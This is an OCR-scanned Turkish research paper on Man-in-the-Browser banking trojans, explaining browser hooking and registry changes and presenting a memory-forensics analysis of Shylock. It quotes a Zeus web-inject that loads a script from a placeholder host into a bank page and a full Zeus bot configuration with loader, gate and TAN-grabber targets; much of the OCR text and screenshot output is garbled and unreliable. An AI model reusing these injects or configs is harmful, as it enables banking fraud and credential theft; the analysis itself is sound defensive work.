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1.GIRIS

GuUnlmizde kot amach yazilimlar finans kurumlarina saldirmak icin tercih edilen bir yontem
haline gelmistir. Bu yazilimlar, kullanim kolaylgi ve suglularin kendi izlerini 6rtme yetenegi ile
bir kacis aracina ihtiya¢ duyulmadan bankalari soymak icin alternatif bir yol olmustur.

Saldirganlar saldirilarini gerceklestirmek icin yeni ve karmasik yontemler bulmaktadirlar. Bu
vektorlerden biri ise Man-in-the-Browser (MITB) saldirnlaridir.

Man-in-the-Tarayici (MITB) saldirilan bir Internet tarayicisini infect eden Trojan koticdl
yazilimi araciligiyla kullanilmaktadir. Bu saldirilar, anti-virls yazilimlarindan saklanabilmeleri
ve tarayici igindeki kullanici tirlerinin bilgilerini calabilmeleri sebebiyle oldukga tehlikelidir.
MITB nin tarayici icindeki bilgileri gérebilmesi mimkiindlr. Tarayici icinde herhangi bir
sifreleme ortaya cikmadigindan beri, finans kurumlar tarafindan kullanilan glvenlik
kontrolleri etkisiz hale gelmistir. Bunun yaninda ko6t amacgh yazilimin kullanici hesabi
ayarlarina erisimi varsa iki faktérli dogrulama da etkisizdir. islemlerin kullanic
workstationlarindan ortaya ¢ikmasi sebebiyle, bankalarin kétiicll aktiviteleri tespit etmek igin
kullandiklar anti-fraud teknolojileri de etkisizdir.

Bircok banka SMS gibi bildirimler kullanarak havale islemleri icin ek givenlik katmanlar
eklemistir. Aslina bakilirsa, bir saldirgan kullanicilarin kimlik bilgilerini ¢alabiliyorsa
kullanicilarin banka hesabindaki bildirim ayarlarini degistirme yetenegine de sahip olabilir.
MITB saldirilarinin web uygulamasi glivenlik duvar gibi bircok ag seviyesi cihazinda ¢alismasi
nedeniyle, IDS ve IPS sistemleri istemci tarafinda yerel olarak ortaya ¢ikan bu saldirlari tespit
etmekte zorluk yasamaktadir.

Man in the browser saldirilarini popdiler kilan, bir kerede oltalama baglanti linkleri lizerinden
veya mesru sitelerle uzlasiimasiile bircok sisteme yayilabilmesidir. Bir baglantiya tiklayarak,
trojan kotlcll yazihmi glivenli gorilecek sekilde eklenti olarak tarayiciya kurulabilir. Cogu
saldirgan Man in the Middle saldirilarindan Man in the Browser saldirilarina bu sebeplerden
dolayi gecis yapmaktadir.

Man in the Browser ve Man in the Middle saldirilar arasindaki fark kendilerine ait
islemlerinden kaynaklanir. Man in the middle saldirilariislem gerceklestiren ikisistemarasinda
bir Proxy kullanir. Proxy nin kullanilmasi kullaniciyi, kimlik bilgilerini saldirganinsitesine girmesi
ve hassas bilgilerini vermesi konusunda kandirabilir. Sekil 1 Man in the Middle ve Man in the
Browser saldinlarini érneklemektedir. Onemli bir fark, MITB uygulama katmani (zerinde
calistinhirken (tarayici vb.), MITM ag katmani Gizerinde galistirilmaktadir.
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Man In The
Man In The Middle - Browser (MITB)
(MITM)

sekil 1

Man inthe middle saldirnlarinin daha az popller olmasinin sebebi, Session ID nin kullanimiyla
saldiryr azaltma yeteneginden kaynaklanmaktadir. Bir banka, bir islemi iceren session ID nin
numarasini belirleyebiliyorsa, sistemler arasindaki islemleri iceren kotucil kullaniciyr da
belirleyebilir. Bu durum, hileli bir girisimin tespit edilmesi ve islemin iptal edilmesi hususunda
bankaya yol gosterici olabilir.

Bankanin, benzersiz ID lerin kullanilmasiyla kullanici islemlerini izlemesini saglayan yontemler
mevcuttur. Misterinin cihazina benzersiz ID verilmesi ile, banka analiz yapabilmek igin
algoritmalan kullanabilir ve uyguladiklar bankaciliktan gelen coklu kullanici oturumlariyla
baglanti kurabilir (Eisen, 2012). Man in the browser saldirilar Proxy sayfasi lizerindeki trafigi
asmak icin kullanicinin her seyi normal olarak gérmesini saglayan hilelerle, kullanicinin
websitesini ve tarayicisini tamamiyle kontroli altina alir. Web goérintilerinin ve hesap
bakiyelerinin az da olsa degistirilmesi ile, saldirganlar kullanicinin bilgisi olmaksizin para
calabilirler. Kullanici bir kere oturum actiginda, SSL/TSL koruyucularn bozulmadan saklanarak.
bilgilersaldirganin sistemine hassas olmayan bir trafik (izerinden yonlendirilir (Trusteer, 2013).

2. MAN-IN-THE-BROWSER

MITB saldinlar tarayicidaki gesitli fonksiyonlari ve 6zellikleri kullanir. MITB saldirilari toplanmig
bilgilere (keylogging, form-grabbing, spamming, HTML injection ve bunun gibi cesitli
fonksiyonlar) dayandirilarak ortaya cikar. Bu durum, MITB malware saldirisinin bir parcasi
olarak kullandiginda saldirganlarin bilgisini verir. Tarayici uzantilan isletim sisteminde
uzantilara verilen ayricaliklarin kétiiye kullanilma olasiligini igeren bir tarayici ozelligidir.
Tarayici uzantilan, kullanicilarin internette gezinti yaparken tarayici icerisindeki tecriibelerini
artirmaya yonelik kullanilir. Tarayici uzantilar plugin, Browser Helper Objects, JavaScript ve
add-on 6&zelliklerini igerir. Bircok malware tipi MITB saldirilarinin bir pargasi olarak bu
ozellikleri kullanmaktadir. Bunlar, Zeus, URLZone, Shylock, Spyeye, Carberp ve SunSpot vb.
icerir. MITB tarafindan kullanilan diger fonksiyonlar AJAX, Browser APl Hooking ve DOM
Object Modelini igerir.

MITB nin fonksiyonlari, belirli zaman araliklarinda bir botnet in parcasi olarak update edilen
bir konfiglirasyon dosyasi ya da web injection dosyasi Uzerinden kontrol edilebilir. Bu
konfiglirasyon dosyalarn c¢esitli kodlama/sifreleme tipleriyle karnsik hale getirilebilir.
Konfiglirasyon dosyasi ve web injection dosyasi saldirganin oturumlari kontrol etmesine ve
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ozel kodlarin HTTP trafigi icerisine enjekte edilmesine izin verir. Bu dosyalar bankalar vb.
kurumlar tarafindan belirli websiteleri ziyaret edildiginde trojanin ¢alistirilmasina da izin verir.
Bu baglantilar SSL baglantilarinin asilmasiyla ortaya c¢ikar. Tarayicilar bir sistem Uzerinde
yuksek seviye ayricaliga sahip oldugunda, bir saldirgan processleri tarayici araciligiyla
calistirabilirse, o zaman bu processler de yiliksek seviye ayricalikla calistirilabilir (Alcorn,
Frichot, Orru, 2014).

2.1. Browser Helper Objects (BHOs)

Browser Helper Objectleri (BHO) bir tarayici icinde yer alan DOM (Document Object Model) a
erisim saglayabilen DLL (Dynamic Linked Libraries) modulleridir. Browser Helper Objectleri
Microsoft tarafindan olusturulmustur. Tarayicinin adres alaninda calistirilir ve tarayicinin ana
penceresine gdmilir (Blunden, 2009). Bunlar, ek fonksiyonlarin olusturulmasi igin tarayic
Uzerine eklenti olarak kurulur. Browser Helper Objectlerle ilgili konu, isletim sistemi tizerinde
SYSTEM seviye ayricaliginda ¢alistirllabilmeleridir. Browser Helper Objectler uzun bir siire,
hackerlarin anti-viriis yazilimlarindan saklanmalarinda popiiler bir yéntem olmustur. Ornegin,
MITB saldirilari browser hepler objectleri kullanarak bir siteyi degistirebilir, yeni alanlar
ekleyebilirya da alan silebilir. Browser helper objectleri sisteme, tarayici agildiginda baslangici
yukleyecek olan kayit defteri girdilerini de ekleyebilir (Utakrit, 2009).

JavaScript ve ActiveX gibi eklentilerin MITB saldirilarinda tarayiciyl kontrol etme amacgl
kullanildigi bilinmektedir. Firefoxla popller olan eklentilerden biri ise Grease Monkey dir.
Firefox icin Grease Monkey (Monkey-in-the-browser) ve Chrome icin Tamper Monkey,
websiteleri ziyaret edildiginde neye bakildigini degistiren fonksiyonlariyla MITB saldirlarinda
ayni metodolojiyi uygulamaktadir. (Reklamlari ekrandan c¢ikarmak ya da bir websitesinin
gorinimini degistirmek gibi)

Orada bilgilerin ¢alinmasindan ziyade kullanici tecribesini iyilestirmeye yonelik ozellikler
mevcuttur ancak metodoloji aynidir. Bu, paylasilabilen Java Appletleri olan kullanici scriptleri
ile yapilir. Kullanici scriptleri, kullanicinin tarayicisindaki 6zel veriyi Same-Origin Policy (SOP)
kisitlar olmaksizin alip manipiile edebilmek icin JavaScript programlarindan daha glicli olan
eklentileri kullanir (Acker, Nikiforaki, Desmet, Piessens, Joosen, 2011). Zeus gibi kot amacli
yazilimlar tarayicinin kullanmasi igin scriptleri glincelleyen konfiglirasyon dosyalarini kullanan
MITB ozelliklerinden faydalanir.

2.2 DOM Module Interface
MITB nin ¢alismasi icin gerekli olan ana metod DOM Modiil Arayizi ile gergeklestirilir. Bu
islem sirasinda meydana gelen adimlar asagidaki gibidir:

Trojan kurulduktan sonra, tarayici konfigiirasyonu icine de uzanti olarak kurulacaktir. Bu
durum, uzantinin tarayiclyl tekrardan baslatmasina sebep olur. Uzanti yiklendiginde,
yuklenen her sayfaicinbir handler kaydedilir. Bu sebeple bir sayfa ylklendiginde, sayfanin URL
i uzanti tarafindan bilinen sitelerin listesine karsi arastirilir. Handler object listeden yiiklenen
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bir sayfayi tespit ettiginde, bunu event buton handler ina kaydeder. Sonra, bir sayfa submit
edildiginde, uzanti tarayicidaki DOM araytzi araciligiyla form alanlarindan bitiin datayigikarr
ve degerleri hatirlar. Uzanti daha sonra, tarayicinin formu sunucuya submit etme islemine
devam etmesini sdyler. Sunucu modifiye edilmis degerleri normal bir talep formunda alir.
Sunucu islemi yapar ve bir makbuz/fis Uretir. Tarayici islemin fisi/makbuzunu da alir. Uzanti
sonrasinda, URL fis/makbuzunu algilar, fis/makbuz alanlari icin HTML i tarar daha 6ncesinde
HTML de hatirlanan orijinal veriyle modifiye edilmis veriyi yer degistirir. Kullanici ise sunucu
tarafindan dogrulamanin diizgiin bir sekilde ve bozulmadan yapilarak orijinal islemin alindigini
digunir (OWASP, 2009).

2.3. JavaScript & AJAX

Bir saldirganin hedeflerinden birisi kalicihigini saglamaktir. Onceden tanimlanmis ydntemleri
kullanarak, bir tarayicida ozelliklerin nasil yapildigi duslindldigiinde bu zor olabilir. AJAX
Asynchronous JavaScript ve XML, X-FrameOption veya diger Frame-Busting logic yapisinda
calisarak bu engelleri asabilir. JavaScript tarayiclyi “Hook (Kancalama)” yetenegine sahip
olup, yapilan faaliyetleri son kullaniciya tamamen goriinmez hale getirir. Asagidaki verilen
ornek Zeus kotli amach yazilimi tarafindan kullanilan web injection scriptini gbstermektedir:

Ornek script:

set_url https/Avww.yourbank.com/*
data_before

<div class="footer’>

data_end

data_inject

<script src="https://somescript.com/hook.js’></script>
data_end

data_after

</body>

data_end

Bu scriptler botnetlerde kullanilan konfiglirasyon dosyalarinin icinde implement edilir. Zeus,
bankacilik siteleri igerisine, kullanicinin sifresini yakalamanin 6tesinde baska ek bilgileri de
calabilmek amaciyla yeni alanlar inject edebilmek icin Command ve Control sunucularini
cagirmasiyla Gnltydu.

JavaScript in Ozelliklerinden biri built-in DOM metod prototiplerini gegersiz kilmasidir.
Tarayicidaki built-in DOM metodlarini gecgersiz kilmak, kendi metodunuzla DOM objectlerini
genisletmekle aynidir. Cesitli form metodlarn olusturmak ya da kullanicinin doldurmasi igin
alanlar eklemek gibi. Bu durum, saldirganin PIN numarasi, Anne Kizlik Soyadi, Dogum Tarihi
gibi girilen hassas bilgileri gdormesine izin verir.
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2.4 APl Hooking

MITB saldirilari tarayici igine sizmak icin APl Hooking leri kullanir. MITB malware tarafindan
aktif hale getirildiginde, Wininet.ddl icindeki Internet baglanti fonksiyonuna hooking
girisiminde bulunulur. Bu durum, kullanici tarayicida ne goriiyorsa saldirganin bunu
degistirmesine izin verir. Bu ayni zamanda HTML Rewriting yontemiyle benzerdir. HTML
Rewriting yonteminde, malware kullanicinin tarayicisi Gzerindeki siteleri degistirebilmekte ve
bunlar dogru olmayan bilgiler halinde sunmaktadir.

Sekil 2 MITB saldirilarinda kullanilan Tarayici APl Hooking yontemini gostermektedir:
Browser API Hooking

Browser
,/_\_

N
InternetComnect 3
via Wininet APY I
& /
v [
Adds instructions on how 10 connect l

Sekil 2

WIinHTTP nin bir Gst kiimesi olan Wininet, internet kaynaklarina erisim sirasinda uygulamalarin
FTP ve HTTP protokolleriyle etkilesimine izin veren Internet Explorer igindeki bir API dir.

Bircok Wininet fonksiyonu, MITB nin icerdigi httpsendrequest() ve navigateto()
fonksiyonlanyla hedef haline getirilir. httpopenrequest(), httpsendrequest() and
internetreadfile fonksiyonlari inject edilen diger popller fonksiyonlardandir.

Saldirinin basarili olmasini saglayan degisiklikler Kayit defterinde artifactler birakacaktir.

Bir scriptin I-Frame veya glvenilir bir site araciligiyla dogru bir sekilde gosterilmesini
onleyebilecek tarayici giivenlik ayarlarindan kagcinmak amaciyla malware, kayit defteri yoluyla
glivenlik ayarlarini degistirmeye tesebbis edebilir. Tarayici icindeki Zone Elevation bu
metodlardan biridir. Tarayici glivenlik ayarlarinin disik seviyeye getirilmesi icin daha fazla
eklenti kontrolleri ve scriptler ¢alistirilabilir. Bu malware in hedefi olan birkag dll, crypt32.dll
ve wininet.dll i icermektedir. Wininet.dll iletisim igin bircok fonksiyon saglar ve malware in
Zone ayarlan ve Cookie ayarlari gibi 6zel ve glivenlik ayarlarina erisimine izin verdiginde ise
hedef haline gelir. Crypt32.dll ise CryptoAPI Uzerinde bircok mesajlasma fonksiyonunu
gerceklestirir. (CryptSignMessage fonksiyonunun mesajlan dijital olarak imzalayabilme
yetenegine sahip olmasi gibi)
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2.5 Kayit Defteri Girdileri (Registry Entries)

MITB icin yuksek seviye ayricaliklar saglanir, tarayici glivenlik ayarlar istismar slresince kayit
defteri icinde degistirilir. Bu kayit defterleri, host tabanl olan saldin tespit sistemleri
tarafindan izlenebilir ya da infectiondan sonra analiz edilebilir. Kayit defteri girdileri, Browser
Helper Object path’ ini iceren MITB saldirilarinda kullanilir:

- HKLM\SOFTWARE \Microsoft\Windows\CurrentVersion\Explorer\Browser Helper

Objects.
- HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
"NoProtectedModeBanner” = 1- Bu, tarayicida Korumah Modu devre dis1 birakan

fonksiyonu acar.

- HKLM\SOFTWAREWM icrosoft\Cryptography\RNG\Seed — Bu, kriptografide sayilar icin
yiiksek ihtimalle kétiiciil dosyalan saklayan rassal seedlerin olusturulmasinda kullamlir.
- HKEY_CURRENT_USER\Software\Microsoft\Windows\C urrentVersion\Internet
Settings\Zones\3\"1406" (Domainler karsisinda data kaynaklarina erisilmesi)

= 3- Zone Seviyesinin diisiik Zone Seviyesiolarak belirflenmesi

- HKEY_CURRENT_USER\Software\Microsoft\Windows\C urrentVersion\Internet
Settings\Zones\3\"1609" (Kansik igerigin gosterilmesi)

- = 3- Zone Seviyesinin diisiikk Zone Seviyesiolarak belirlenmesi

- HKEY_CURRENT_USER\Software\Microsoft\Windows\C urrentVersion\Internet
Settings\Zones\3\"2500"(Protected Mode)= Zone Seviyesinin diisilk Zone Seviyesi olarak
belirlenmesi

- HKEY_CURRENT_USER\Software\Microsoft\Windows\C urrentVersion\Internet
Settings\"DisableCachingOfSSLPages” ="0" — Bu fonksiyonun kapatilmasi

- HKEY_USERS\S-1-D\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Wpad\Random Number\

3. MITB Kullamminda Malware Ornekleri

Bu arastirma, tarayici fonksiyonlarindan ziyade MITB nin bir parcasi olarak istismar sirasinda
malware davranislarini bulmak amaciyla olusturulmustur. Zeus, Shylock Trojaninin bir varyanti
olarak analiz edilmistir. Shylock Zeus un bazi kod 6zelliklerini kullandigi igin, ikisi de benzer
davranislar sergilemektedir. Her ikisi de bankacilik kimlik bilgilerini ¢almak ve havale
islemlerine miidahale etmek icin web alanlan ve sayfalan eklenebilen web injection
dosyalarini kullanir.

Infectiondan sonra sistemin memory imajini ¢ikartmada kullanilan Win32dd ve Dump-it
tollarini iceren cesitli toollar analiz yapmak icin kullanilmistir.  Volatility bellek incelemek icin
kullanilmistir. Wireshark paketleri yakalamak icin, Regshot ve Process Monitor injectiondan
once ve sonra sistemin gorliintlistind almak igin kullaniimistir. Bunun yaninda, aktif olan ancak
fiziksel metodlar (izerinden erisilemeyen uzaktan erisimli sistemler Uzerinden ©6rnekler
citkarmak icin bir metod kullanilmistir. Kevin Neely, memory i uzaktan yakalamak icin psexec
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ve win32dd/win64dd vyi glvenli bir sekilde kullanan bir metod bulmustur. Asagida bu metodun
kullanimina yonelik bir o6rnek verilmistir. Hesap, win32dd/win64dd nin uzaktan
calistinlabilmesi icin gerekli olan izinleri iceren baglantiyr kullanmistir (Neely, 2011).

- cmd.exe yi yonetici olarak cahstir

- net use \\nostname\ipc$ - komutlarn basanh bir sekilde tamamladigindan emin ol

- copy c:\pathtowin32dd.* \\hostname\c$ - win32dd.exe ve the win32dd.sys driver im
kopyala

- c\pathtopsexec.exe \\hostname —e —w c\ c\win32dd.exe /m 1 /r /a /f hostname-mem.raw
—win32dd yi uzaktan ¢ahstir, komut ¢alismaya devam edecek ve tamamlanma durum
bilgisini vermeyecektir. Asagidaki komutun cahsmasim tamamladigim dogrula ve dosya
biiyiikliigiiniin artmasmin durmasi icin bekle. Diiz metin olarak ortaya ¢ikan kimlik
bilgilerinin ve psexec kullammmmn yapacag etkilerin farkinda olun.

- ¢\dir \\hostname\c$

3.1. Zeus
Zeus MITB saldmrilarint kullanan {inki bir malware 6rnegidir. Web injection dosyasmin
kullanilmas1 ile bu malware bir dosya olarak girilebilen belirlenmis websitelerine alanlar

inject edebilir. Yani, eger bir kullanici www.bankofamerica.com u ziyaret ederse, web

mjection dosyasm kullanan bu malware siteyi giincelleyebilir ya da mesru olmayan istenen
ek alanlar1 yiikleyebilir. Asagidaki 6rnek Zeus tarafindan kullanilan 6rnek bir web injection

dosyasmi gostermektedir:
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;Build time: 14:15:23 10.04.2009 GMT;Version: 1.2.4.2

entry “StaticConfig” ;

botnet “btn1” — Botnetin adi

timer_config 60 1 —Konfigiirasyon dosyasimn bot tarafindan giincellendigi zaman arahgi
timer_logs 11 — Bot sunucuya data gonderirken gecenzaman miktan

timer_stats 20 1

url config “http//localhost/configbin” — Konfiglrasyon dosyasi i¢in verilen URL
url compip “httpr//localhost/ip.php” 1024

encryption key “secret key” — Ag trafigini RC4 ve dinamik konfigiirasyon dosyasi ile
sifrele

;blacklist_languages 1049

end

entry “DynamicConfig”

url loader “http://localhost/bot.exe”

url_server “http//localhost/gate.php”

file webinjects “webinjects.txt”

entry “AdvancedConfigs”

;’http//advdomain/cfgl.bin”

end

entry “WebFilters”

“I** microso ft.com/*”

“Ihttp//* myspace.com*”

“https//www. gruposantander.es/*”

“Ihttp//*odnoklassniki.rw/*” “Ihttp://vkontakte.ru/*”

“@*/login.osmp.ru/*”

“@?*/atl.osmp.ru/*” end

entry “WebDataFilters” ;

“http//mail.rambler.ru/*” “passw;login” end

entry “WebFakes” ;

“http//www.google.com” “http//www.yahoo.com” “GP” * “’ end

entry “TANGrabber”

“https//banking.*.de/cgi/ueberweisung.cgi/*” “S3R1C6G” “*&tid=*" ‘“*&betrag=*"
“https//internetbanking. gad.de/banking/*” “S3C6” “*” “*” “KktNrTanEnz”
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“https//www.citibank.de/*/jba/mp#/SubmitRecap.do” “S3C6R2” “SYNC TOKEN=*" “*~
end
entry “DnsMap” ;
127.0.0.1 microsoft.com end
end
(Failliere, Chien 2009)

Bu malware ayni zamanda kendisini cookielerin oldugu analizden temizleyebilme ve tarayici

gecmisinden saklayabilme yetenegine sahiptir. Bu iist 6zellikler malware’ in neden

olabilecegi tehdit ve yetenekleri géstermektedir.

3.2. Shylock

Shylock, banka sitelerine Ust seviye bir Javascript lizerinden baglanti saglayarak online
Chatlerin olusturulmasini ve g¢alistinlmasini saglamaktadir. Dropper dosyalarini Skype,
GoogleTalk, Advantage uygulamalarn gorinimiinde Windows Xp deki Application Data ya da
Roaming klasori altindaki AppData ya koyar. Trojanin oldugu diger modiillerde, VNC
baglantisi, networke yayilma, Skype sessionlarinin ayrilmasi, proxy davranma kabiliyetleri

mevcuttur. (Lennon 2013).

Shylock trojani, web sitelerinde degisiklik yamak igin Zeus un sifreli olarak kullandigi we
injection dosyalarina benzer dosyalari kullanir. crypt32.dll ve wininet.dll iceren bazi API ler
hooklanir. Ayni zamanda Command ve Control sunuculanyla iletisim kurmak igin sahte dijital

sertifikalar ve SSL baglantilarini kullanir.

Shylock un analizinde i¢in birgok filtre kullanilir. Bunlar, dosya nitelikleri, yazilan dosyalar,
silinen dosyalar, noise reduction, silinen registry degerleri, silinen registry keyleri,
olusturulan registry keyleri vb. icerir. Process Monitor filtreleri ise Volatility ve Wireshark gibi

toollarin kullaniminda bir baglangi¢ noktasi olusturmustur.

Process Monitor filtreleri, normaliz.dll iceren birkag artifacti bulur. Bircok registry ayar

buradan degistirilir ya da eklenir. Wininet.dll de ilk injection stiresince kullanilir.
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Analizde, kot niyetli dosyalardan biri "nKMult.exe" processi siiresince olusturulmustur. Bu
dosya normaliz.dll ile birlikte hareket ediyor olup, Process Monitor tarafindan yakalanan
gorintt Sekil 3 teki gibidir.

) Evest Preperties S S —— | =2 m—o—

- e e

[ T ey

| Epart | Process | Sead

Fege

New:  nMiteon

Vergon

Path

CDouments ané Setings \ones Deskoog esbware 'r ML 2o
Canerwnd Lre:

‘ CAoaurents and Setingsienes Desitog ok p AL Lewe”

Mo s Muchisctre: S0t
‘ Peenpll: 1802 Whaiced: e
Sesmon: ¢ gty e
Uer! AL T e
A 20000000 Cud 2ked
Rrindt 1UND A I Indes: L7014 345 4T PN
Podbes
—

Mods Addrems £ ot i
| |-J-.‘L¢r= Qe0000 o0 € Yocurars and ez
| | iamﬂ‘ﬂ QA0 00 L‘ﬂﬂ.l.%'lﬂkf;.! -

{ | 2] " '
(2] (3] Pinot i ori | [(o=]
Figure 3

Process Monitor, malware in ¢alistigi sirede olusturulan registry keyleri bulmustur. Bir cift key
ise internet ayarlaryla iliskilendirilmistir. Bu durumu Sekil 3 ve 4 de verilmistir. Sekil 5 de ise,
wininet. dll, infection sirasinda olusturulan “apwQivQu.exe” processi tarafindan hedeflenmis

gibi gérinmektedir.

2 - - - - E -
27 Event Properties - = - -~

Event | Process lStadt
Date: 12/7/2014 3:40:56 PM
Thread: 3784
Cass: Regstry
Cperation: RegCreateKey
Result: SUCCESS
Path: HKOU\SOFTWARE WMicrosoftiWindows\Currentversion Internet Settings
Duration: 0.0000358
Desired Access: Read/\Write

Figure 4
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Figure 6

Process monitor tarafindan analiz sliresince alinan Registry Keylerinin degerlerini Volatility

kullanarak bulmak mumkundur.

Volatility Hivelist komutuyla memory dumpta yer alan registry hiveleri gekilir. Sekil 7 bu

komutun calistirlmasi ile ortaya ¢ikan sonucu gostermektedir.

$vol.py —f profile=WinXPSP3x86 shylock.raw hivelist

ansforensics@SIFT-Workstation:~/Desktops vol.py -f Shylock.raw profile<WinXPSPIRB6 hivelis

Nolatile Systems Volatility Framework 2.2

Nirtual Physical Nare
¢l8c9008 8x1dda’%868 \Devic
pplication Data\Microsoft)

\HarddiskVolumel\Documents and
dows\UsrClass.dat

arddiskVolumel\Documents

SettingsNgjones\Local Settings)\

and

Dxel088a00 0x1¢355400 \Devic
Pxelaab878 0x141571878 arddiskVolumel\Documents
ings\Application Data\Microsoft\Windows\UsrClass.dat
Dxelb3lb6@ 0x15ac2b60 \Device\HarddiskVolumel\Documents

Pxelab85es 0x144165e8 \Device\HarddiskVolumel\Documents
ttings\Application Data\Microsoft\Mindows\UsrClass.dat

Settings \efones\NTUSER.DAT

and Settings\localService\local Set

and Settings\LocalService\NTUSER.DA

apd Settings\NetworkService\local S

0x14154060

PxelS8e?58
Dxel54ab60

9x12689758
0x1261bb60
9x0cTr15330
9x1263b068
0x0a67cbbo
Ox0a2e3b60
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HarddiskVolumel \WINODWS\ systen32\config\software

arddiskVoldmel \WENDDWS \systen32\conTig\SAM
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$vol.py —f shylock.raw profile=WINXPSP3x86 printkey —0 0xe1088a00 —K
‘Software\Microsoft\Windows\C urrentVersion\Run’

Bu komut, baslangicta kurulan calistirilabilir ve malware in arkasinda biraktigi artifactlerden

biri olabilecek RmActivate_isv.exe yi ortaya cikarir. Bu durum Sekil 8 de gosterilmistir.

sansforensicseSIFT-Workstation:~/Desktop$ vol.py -f Shylock.raw profile=WinXP5P3x86 printke
i -0/Bxe1B888200 -K 'Software\Microsoft\Windows\CurrentVersion\Run'

olatile'Systens Volatility Framework 2.2

£gend: (S) = Stable (V) = Volatile

Registry: User Specified
ey name: Runm (S)
ast updated: 2014-12-04 21:32:37

Bubkeys:

CTFMON . EXE
eenp. HP3

Figure 8
Wireshark soks.cc, pge.su ve doks.cc domainlerine yapilan baglantilari yakalamistir. (Sekil

9&10)

Bu sitelerin IP adreslerine bakildiginda mesru olduklarinin stpheli oldugu gorilmistar. Sekil
11 de ise, 208.73.211.70 IP sinin baglanti saglamaya calisirken normal davranmadigi
gorilmistir. Bu IP "whois" lookup 1 lizerinden ¢6ziimlenememis olup, parked domain -

potansiyel bir former malicious IP si olarak kategorize edilmistir.

Figure 9
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Figure 11
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Sekil 12 de Volatility kullanilmis olup, connection 1 kullanan process gosterilmistir.

$vol.py —f shylock.raw profile=WINXPSP3x86 connscan

Volatility process ID = 1468 i ortaya ¢ikarmis olup, bu incelemede siipheli olarak gorilen

process explorer.exe yi gostermistir. Sekil 13 ise sonuglari vermektedir.

Bx06d06ale

Bx06d22718
0x06d2be68
Ox06d77720
Bx06d7ac20
0x06d7b7a0

x06e21¢78
XU0EZT020

$vol.py —f shylock.raw profile=WINXPSP3x86 psscan

92.0.82.0:
192.168.1.
9.160.103.1:0
0.16.58.0:0
0.144.157.1:0
192.168.1.143:1628
192.168.1.143:1807
192.168.1.143:1214
0.0.218.0:0
192.168.1.143:1868
5.08.5 18:26221
192.168.1.143:1809
vZ.0.8Z.9118170
40.1.0.0:0
192.168.1.143:1697

18176
143:1810

92.0.82.0

Dumplt.exe
dumpcap.exe
dunpcap.exe
Procmon.exe
dunpcap.exe
jusched.exe
dunpcap.exe
uphclean.exe
jqs.exe
ctfmon.exe
alg.exe
svchost.exe
x| 20 _spoolsy. exe
Ix061003a0 explorer.ex

Bx06fa7620 FrzStatelk.exe

:18176

1468
568
5608

1468
568

1468
568
956
956

1468
956
956

“912
1240

32.106.
208.73.
9.16.9.
9.16.0,
0.16.0.
184.29.44.74:80
208.73.211.70:443
23.54.240.60:443
0.16.0.0:0
208.73.211.70:443

74 _125_239_186:18AA3
208.73

487

10.2.0.
198.54.12.97:860
200.203.207.134:17664

176.134:17664
211.70:443
H]

0:0

0:0

Figure 12

0x023240500 2014-12-064
0x022403e0 2014-12-04
0x02240400 2014-12-04
0x02240420 2014-12-04
0x0a2403¢0 2014-12-04
0x0a240360 2014-12-04
0x0a240480 2014-12-04
0x02240260 2014-12-04
0x02246240 2014-12-064
0x022402¢0 2014-12-04
0x02240200 2014-12-04
0x0a2401¢0 2014-12-04
0x03240136,_2014:12:64 21;
0x0a2402a0 20 12-04 2

1164 0x02240380 2014-12-04 21:

Figure 13

5439561
1468
2259638232
2307847880
2307848232
3312

1468

1712
2307848040
1468
i
1468 |
ELEC ALY
1

3312
5439561

2014-12-04 21:13:499
2014-12-04 21:13:49

2014-12-04 21:13:49

2014-12-04 21:33:26

Wininet in icinde birka¢c mutant bulunmus olup, sonuclar Sekil 14 de gosterilmistir.

$vol.py —f shylock.raw profile=WINXPSP3x86 handles —p 1468 —t Mutant --silent

Ox86c823a8
0x8754a490
Bx87591120
Ix86d06a48
IxB86e6be3s 1468
Ix86cT4310 1468
GXE000YLTY 1408
0x86d13b90 1468
9x86b91528 1468
9x86cdbars 1468
9x86b347e8 1468
Ox86aebdedd 1468
Bx86b7d710 1468
9x86c02c90 1468
3x875¢d928 1468
UXBDCT /D38 l4oe
0xB86469270 1468
9x86c51bT18 1468
Gx86ae5738 1468
Ox86ae5f38 1468
Bx86d5a218 1468
0x875fd370 1468

1468
1468
1468
1468

8x50¢
0x524
0x588
0x680

0x1f0001 Mutant
0x1f0001 Hutant
0x110061 Mutant
0x100080 Mutant
0x69¢ Ox170661 Mutant
Ox6a0 0x100000 Mutant
OXERE T EXITORE I AUTaNT
0x86¢c 0x100060 Mutant
0x9do 0x1f0001 MHutant
0xa78 0x1f0081 Mutant
0xa%8 0x170001 Mutant
Oxaa0 0x170001 Mutant
Oxbo4 6x110001 Mutant
Oxbdc Ox1f6661 Mutant

Oxb9%4 0x1feeel

UXDEC  Uxlluuwul nurant
0xc58 0x170081 Mutant
Oxch0 0x110061 Mutant
Oxcac 0x110661 Mutant
Oxcbd 0x1f0061 Mutant
0xdes 0x1f0081 Mutant
Oxdldq 0x1f0001 Mutant

WinSCPDragExtlogMutex
WinSCPDragExtMutex
MSCTF,Shared NUTEX, ANH
WininetStartupMutex
WininetConnectionMutex
WininetProxyRegistryMutex
FSUTF . SRarea AUTETRNF
RasPbFile
MSCTF.Shared.
MSCTF.Shared.
MSCTF.Shared.
MSCTF.Shared.
MSCTF.Shared.
MSCTF.Shared

smonwe

MUTEX.
MUTEX.
MUTEX.
MUTEX.AKC
NUTEX.MOD

. IMH

EMI
MIP
EPM

4<'horjx_
vsMinmutex

Shared . NUTEX.
Shared.NUTEX.
Shared.NUTEX.
Shared.NUTEX.
Shared . NUTEX.
Shared NUTEX.

MSCTF.
MSCTF.
MSCTF.
MSCTF.
MSCTF.
MSCTF,

MNF
ELL
ECN
ECN
II1C
EBE

Figure 14
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Sekil 15 ise explorer.exe Uzerindeki process injectionlar gostermektedir.

$vol.py —f shylock.raw profile=WINXPSP3x86 malfind —p 1468 | less

D8 9x6a

Pxd6003T 6a

Process: explorer.exe Pid:
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE

lags: CommitCharge: 23,

Px01160660 4d 5a 99 69 63
Px01160010 b8 00 00 00 00
Px011606260 060 00 00 60 06
Px01160030 00 00 00 00 00

4d

5a

9
0003
0060
000400
0000
144
ffoo

000800000000

0008
004000

1468 Address: 0x1160000

MemCommit: 1, PrivateMemory: 1, Protastions

69 60 60 64 60 66 66 ff ff 60 60
00 00 00 40 00 00 00 00 00 00 00
69 66 06 60 60 00 60 60 00 60 60
60 00 00 00 00 00 00 fO 00 00 00

DEC EBP
